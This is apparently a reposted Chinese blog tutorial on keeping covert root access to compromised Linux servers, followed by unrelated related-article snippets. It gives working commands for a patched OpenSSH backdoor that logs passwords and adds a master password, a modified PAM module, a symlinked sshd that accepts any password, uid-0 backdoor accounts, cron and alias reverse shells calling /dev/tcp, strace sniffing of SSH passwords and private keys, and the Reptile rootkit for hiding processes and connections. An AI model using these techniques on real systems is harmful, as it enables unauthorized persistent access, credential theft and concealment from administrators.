Linux系統權限維持篇

Openssh后門

重新安裝自定義的openssh,達到記錄賬戶密碼,也可以采用萬能密碼連接的功能

1、登錄方式
2、登錄軟件
3、登錄機制
環境準備
yum?-y?install?openssl?openssl-devel?pam-devel?zlib?zlib-devel
yum?-y?install?gcc?gcc-c++?make
wget?http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gzwget?https://mirror.aarnet.edu.au/pub/0penBSD/0penSSH/portable/openssh-5.9p1.tar.gztar?-xzvf?openssh-5.9p1.tar.gztar?-xzvf?0x06-openssh-5.9p1.patch.tar.gzcp?openssh-5.9p1.patch/sshbd5.9p1.diff?openssh-5.9p1cd?openssh-5.9p1?&&?patch?<?sshbd5.9p1.diff

2.編輯密碼:

vim?includes.h
#define?ILOG??"/tmp/ilog"??#ILOG是別人用ssh登錄該主機記錄的日志記錄
#define?OLOG?"/tmp/olog"???#OLOG是該主機用ssh登錄其他主機記錄的日志目錄
#define?SECRETPW?"hello"???#設置萬能密碼為hello

通過萬能密碼登錄成功或者失敗都會在ilog和olog上做記錄

3.安裝編譯

./configure?--prefix=/usr--sysconfdir=/etc/ssh--with-pam?--with-kerberos5?&&?make?&&?make?install
service?sshd?restart?????//重啟服務
systemctl?status?sshd???//查看服務狀態

另一種方法就是發送數據到遠程服務器上去

PAM啟動替換

PAM是一種認證模塊,PAM可以作為Linux登錄驗證和各類基礎服務的人認證,簡單來說就是一種用于Linux系統上的用戶身份驗證機制,進行驗證時首先 確定是什么服務,然后加載對應的PAM配置文件,最后調用認證文件進行安全認證,簡易利用的PAM后門也是通過修改PAM源碼中的認證的邏輯來達到權限維持的

1.獲取目標系統所使用的PAM版本,下載對應的pam版本
2.解壓縮,修改pam_unix_auth.c文件,添加萬能密碼
3.編譯安裝PAM
4.編譯完后的文件在:modules\pam_unix/.libs/pam_unix.so,復制到/lib64/security中進行替換,即使用萬能密碼登錄,將用戶名密碼記錄到文件中

配置環境

1.關閉selinux?setenforce?0
2.查詢版本?rpm?-qa?|?grep?pam???//查詢到是什么版本就去網上找對應版本,比如這個是1.1.8
wget?http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz????//下載對應版本tar?-zxvf?inux-PAM-1.1.8?????????//解壓對應版本yum?install?gcc?flex?flex-devel?-y??????//安裝插件

編輯后門配置文件

編譯安裝

./configure?&&make

備份替換

備份原有的pam_unix.so,防止出現錯誤登錄不上
復制新PAM模塊到/lib64/security目錄下
cp?/usr/lib64/security/pam_unix.so?/tmp/pam_unix.so.bakcp
cd?Linux-PAM-1.1.8/modules/pam_unix/.libs
cp?pam_unix.so?/usr/lib64/security/pam_unix.so
登錄測試即可

軟鏈接方式

在sshd服務配置啟用PAM認證的前提下,PAM配置文件中控制標志為sufficient時,只要pam_rookok模塊檢測uid為0(root)即可成功認證登錄

SSH配置中開啟了PAM進行身份驗證 查看是否使用PAM進行身份驗證 查看是否使用了PAM進行身份驗證

cat?/etc/ssh/sshd_config?|?grep?UserPAM
ln?-sf?/usr/sbin/sshd?/tmp/su;?/tmp/su?-oPort???8888???//綁定到端口上了,端口不需要驗證賬號密碼,所以可以直接登錄
ssh?root@xx.xx.xx.xx?-p?8888????//任意密碼登錄進去即可

公私鑰文件

1.開啟支持

vim?/etc/ssh/sshd_config
RSAAuthentication?yes
PubkeyAuthentication?yes
AuthorizedKeysFile?.ssh/authorized_keys

本地生成密鑰

ssh-keygen?-t?rsa????//三次回車
id_rsa??????//私鑰
id_rsa.pub????//公鑰
復制公鑰到服務器
cd?/root/.ssh/
vim?authorized_keys(id_rsa.pub)????就是復制公鑰到這個authorized_keys目錄中
chmod?600?authorized_keys

另外一種 **在服務器中弄一個密鑰對文件,就是公鑰私鑰都在.ssh目錄下,然后本地就可以無密碼登錄執行了 **

后門賬號

添加root用戶 添加賬號test1,設置uid為0,密碼為123456

第一種:useradd?-p??`openssl?passwd?-1?-salt?'hello'?123456`?test1?-o?-u?0?-g?root?-G?root?-s?/bin/bash?-d?/home/test1

第二種:

echo?"hello:x:0:0::/:/bin/sh"?>>/etc/passwd??#增加超級管理員賬號passwd?hello???#修改賬號的密碼

一鍵植入權限維持: https://github.com/RuoJi6/HackerPermKeeper

計劃任務的權限維持

1.安裝nc,在攻擊機上

yum?update?-y
yum?install?-y?nc

一個是權限維持的目標,一個是我們自己的服務器

vim?/etc/.shell.sh
#!/bin/bash
bash?-i?>&/dev/tcp/ip(公網服務器ip)/5555?0>&1
chmod?+x?/etc/.shell.sh

添加定時任務

vim?/etc/crontab?????/var/spool/cron也是計劃任務配置文件
*/1?*?*?*?*?root?/etc/.shell.sh????//每一分鐘以root權限執行一次etc目錄下的.shell.sh腳本反彈shell

攻擊機開啟監聽,登錄連接

nc?-nlvp?5555

strace后門

1.記錄sshd明文

(strace?-f?-F?-p?`ps?aux?|?grep?"sshd?-D"|?grep?-v?grep|awk?{'print?$2'}`?-t?-e?trace=read,write?-s?32?2?>/tmp/.sshd.log?&)
grep?-E?'read\(6,".+\\0\\0\\0\\.+"'?/tmp/.sshd.log????//查看用戶連接的密碼

2.記錄sshd私鑰

(strace?-f?-F?-p?`ps?aux?|?grep?"sshd?-D"|?grep?-v?grep|awk?{'print?$2'}`?-t?-e?trace=read,write?-s?4096?2?>/tmp/.sshd.log?&)
grep?"PRIVATE_KEY"?/tmp/.sshd.log

然后可以寫一個腳本發送log到我的服務器,就可以一直知道服務器的密碼了

alias后門

定義:alias?ls='ls?-la'
刪除:unalias?ls
1.利用
alias?ls='alerts(){ls?$*?--color=auto;bash?-i?>&/dev/tcp/kali的ip/port?0>&1};alerts'????//用戶執行ls就會反彈shell了

工具維權

https://gitee.com/lmc9504/Reptile/repository/archive/master.zip

本地有下載過,可以去看一下 在安裝這個工具的時候可以選擇參數,然后可以設置隱藏的文件名,然后文件只要開頭是我設置的文件名,就會隱藏

1.使用

/reptile/reptile_cmd?hide?????//隱藏進程
/reptile/reptile_cmd?show???//查看進程
ps?-ef?|?grep?ping?|?grep?-v?grep????//查看ping的進程id
/reptile/reptile_cmd?hide?2792?????//隱藏2792這個進程
ps?-ef?|?grep?ping?|?grep?-v?grep

2.隱藏鏈接

/reptile/reptile_cmd??udp?hide????//隱藏udp連接
/reptile/reptile_cmd??tcp?show????//查看tcp連接
netstat?-antpu?|?grep?10.10.1.1??//查看連接
/reptile/reptile_cmd?tcp?10.10.1.1?445?hide???//隱藏這個網絡連接

3.隱藏文件

文件名中帶有reptile的都會被隱藏?,因為我在安裝的時候使用的就是reptile

自動化權限維持項目

https://github.com/RuoJi6/HackerPermKeeper

1.通過把check.py復制到目標主機可以檢測當前系統可以部署哪些權限維持方法
2.然后在工具本地,也就是項目目錄下運行main.py
python?main.py?-c?l?查看可以部署的權限維持方式
python?main.py?-m?4???//生成4對應的權限維持payload
可以通過這個工具來寫入計劃任務

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/89541.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/89541.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/89541.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

spring中maven缺少包如何重新加載,報錯java: 程序包org.springframework.web.reactive.function不存在

錯誤原因分析 java: 程序包org.springframework.web.reactive.function不存在 這個錯誤是由于 項目中缺少 Spring WebFlux 相關依賴 導致的。org.springframework.web.reactive.function 包屬于 Spring WebFlux 模塊&#xff08;用于響應式 Web 開發&#xff09;&#xff0c;如…

Linux--線程池

目錄 Linux線程池 線程池的概念 線程池的優點 線程池的應用場景 線程池的實現 Linux線程池 線程池的概念 線程池是一種線程的使用模式。 其存在的主要原因就為&#xff1a;線程過多會帶來調度開銷&#xff0c;進而影響緩存局部性和整體性能。而線程池維護著多個線程&#…

mars3d (基于 Cesium 的輕量化三維地圖庫)

mars3d 是什么? Mars3D 作為基于 Cesium 的輕量化框架,正以其簡潔的 API 和強大的功能重新定義開發體驗。它不僅解決了原生 Cesium 學習曲線陡峭的問題,還通過封裝和優化實現了性能與易用性的雙重突破。無論是智慧城市、低空經濟還是軍事仿真,Mars3D 都能提供高效的三維可視…

uniapp 中使用路由導航守衛,進行登錄鑒權

前言: 在uniapp 使用中,對于登錄界面可能需要路由守衛進行方便判斷跳轉,以下有兩種方案,可以判斷用戶跳轉的時候是否是登錄狀態 方案一: 1. 可以使用插件 hh-router-guard 2. 使用 uni-simpe-route 方案二: 使用通過uni提供的攔截器實現, uni.addInterceptor 1.新建in…

Leetcode 262. 行程和用戶

1.題目基本信息 1.1.題目描述 表&#xff1a;Trips ----------------------- | Column Name | Type | ----------------------- | id | int | | client_id | int | | driver_id | int | | city_id | int | | status | enum | | request_at | varchar | -----------…

P1102 A-B 數對

P1102 A-B 數對 題目背景 出題是一件痛苦的事情! 相同的題目看多了也會有審美疲勞,于是我舍棄了大家所熟悉的 A+B Problem,改用 A-B 了哈哈! 題目描述 給出一串正整數數列以及一個正整數 C C C,要求計算出所有滿足 A ? B = C A - B = C A?B=C 的數對的個數(不同…

devextreme-vue的DxDataGrid如何顯示行號列

devextreme-vue我使用的是23.2版本&#xff0c;其DxDataGrid如何顯示行號列&#xff0c;官方一直沒有方案。 DataGrid - How to display a row number in data rows in Angular | DevExpress Support dxDataGrid - provide capability to display a column with row numbers …

【設計模式06】建造者模式

前言 沒什么用&#xff0c;類似于builder.build UML類圖 代碼示例 package com.sw.learn.pattern.B_create.e_builder;import java.util.Scanner;public class Main {public static void main(String[] args) {Scanner sc new Scanner(System.in);int n sc.nextInt();for …

datax-web報錯:連接數據庫失敗. 請檢查您的 賬號、密碼、數據庫名稱、IP、Port或者向 DBA 尋求幫助(注意網絡環境)

文章目錄 一、報錯內容二、解決方法 一、報錯內容 背景描述&#xff1a; 在linux安裝了datax202309版本及datax-web2.1.2版本&#xff0c;datax與datax-web默認都是mysql5.x版本的。我的數據庫是mysql8.x版本的。 在datax中執行json腳本從一個mysql導入mysql沒問題&#xff0…

C#調用C++導出的dll怎么調試進入C++ DLL源碼

第一步&#xff1a;首先需要打開C源碼&#xff0c;不需要任何設置&#xff0c;直接下斷點&#xff0c;然后將生成DLL目錄改成到C# exe生成目錄里面 第二步&#xff1a;打開winform項目&#xff0c;然后在C#項目屬性->啟用本地代碼調試勾選后即可 最后在C#下斷點F10或者F11…

Skyeye 云智能制造辦公系統 - Saas v3.16.10 發布

Skyeye 云智能制造&#xff0c;采用 Springboot (微服務) Layui UNI-APP Ant Design Vue 的低代碼平臺。包含 30 多個應用模塊、50 多種電子流程&#xff0c;CRM、PM、ERP、MES、ADM、EHR、筆記、知識庫、項目、門店、商城、財務、多班次考勤、薪資、招聘、云售后、論壇、公…

pdf 合并 python實現(已解決)

在Python中&#xff0c;可以使用多種庫來合并PDF文件&#xff0c;其中最常用的是PyPDF2和PyMuPDF&#xff08;又名fitz&#xff09;。下面我將分別介紹如何使用這兩個庫來合并PDF文件。 使用PyPDF2 首先&#xff0c;你需要安裝PyPDF2。可以使用pip來安裝&#xff1a; 先按照庫…

VCenter SSL過期,登錄提示HTTP 500錯誤解決辦法

報錯圖&#xff1a; 1. 開啟 VCenter ssh遠程連接 登錄vmware esxi&#xff0c;雙擊打開VCenter 控制臺黑窗口&#xff0c;根據提示按F2鍵 兩次&#xff0c;打開系統設置&#xff08;有fn鍵使用fnF2鍵&#xff09; 輸入root密碼&#xff0c;按回車登錄 選擇“Troubleshooting …

Linux 下安裝Oracle 11gR2 x64 netca啟動不了

前言 Oracle Network Configuration Assistant (netca) 是 Oracle 提供的圖形化網絡配置工具&#xff0c;用于簡化 Oracle 數據庫網絡組件的配置和管理。 核心功能 1、配置監聽器 (LISTENER)創建、修改或刪除數據庫監聽器&#xff08;默認端口 1521&#xff09;定義監聽協議…

Pytorch1線性代數實現

Pytorch --線性代數實現 矩陣 正如向量將標量從零階推廣到一階&#xff0c;矩陣將向量從一階推廣到二階。 矩陣&#xff0c;我們通常用粗體、大寫字母來表示 &#xff08;例如&#xff0c;&#x1d44b;、&#x1d44c;和&#x1d44d;&#xff09;&#xff0c; 在代碼中表示…

行業分享丨泛亞汽車數字化轉型實踐:虛擬仿真技術如何賦能汽車研發的創新實踐?

隨著汽車行業向智能化、電動化快速轉型&#xff0c;虛擬仿真技術正成為推動產品研發變革的核心驅動力。作為行業技術先鋒&#xff0c;泛亞汽車通過系統性布局&#xff0c;構建了完整的虛擬仿真技術體系&#xff0c;并總結出三個關鍵方向&#xff1a;打造數字化研發體系、探索精…

【硬核數學】4. AI的“尋路”藝術:優化理論如何找到模型的最優解《從零構建機器學習、深度學習到LLM的數學認知》

歡迎來到本系列的第四篇文章。我們已經知道&#xff0c;訓練一個AI模型&#xff0c;本質上是在尋找一組參數&#xff0c;使得描述模型“有多差”的損失函數 L ( θ ) L(\theta) L(θ) 達到最小值。微積分給了我們強大的工具——梯度下降&#xff0c;告訴我們如何一步步地向著最…

springboot切面編程

SpringBoot切面編程 眾所周知&#xff0c;spring最核心的兩個功能是aop和ioc&#xff0c;即面向切面和控制反轉。本文會講一講SpringBoot如何使用AOP實現面向切面的過程原理。 何為AOP AOP&#xff08;Aspect OrientedProgramming&#xff09;&#xff1a;面向切面編程&…

【Redis#4】Redis 數據結構 -- String類型

一、前言 1. 基本概念 理解&#xff1a;字符串對象是 Redis 中最基本的數據類型,也是我們工作中最常用的數據類型。redis中的鍵都是字符串對象&#xff0c;而且其他幾種數據結構都是在字符串對象基礎上構建的。字符串對象的值實際可以是字符串、數字、甚至是二進制&#xff0…

Spring Boot 集成 Dufs 通過 WebDAV 實現文件管理

Spring Boot 集成 Dufs 通過 WebDAV 實現文件管理 引言 在現代應用開發中&#xff0c;文件存儲和管理是一個常見需求。Dufs 是一個輕量級的文件服務器&#xff0c;支持 WebDAV 協議&#xff0c;可以方便地集成到 Spring Boot 應用中。本文將詳細介紹如何使用 WebDAV 協議在 Sp…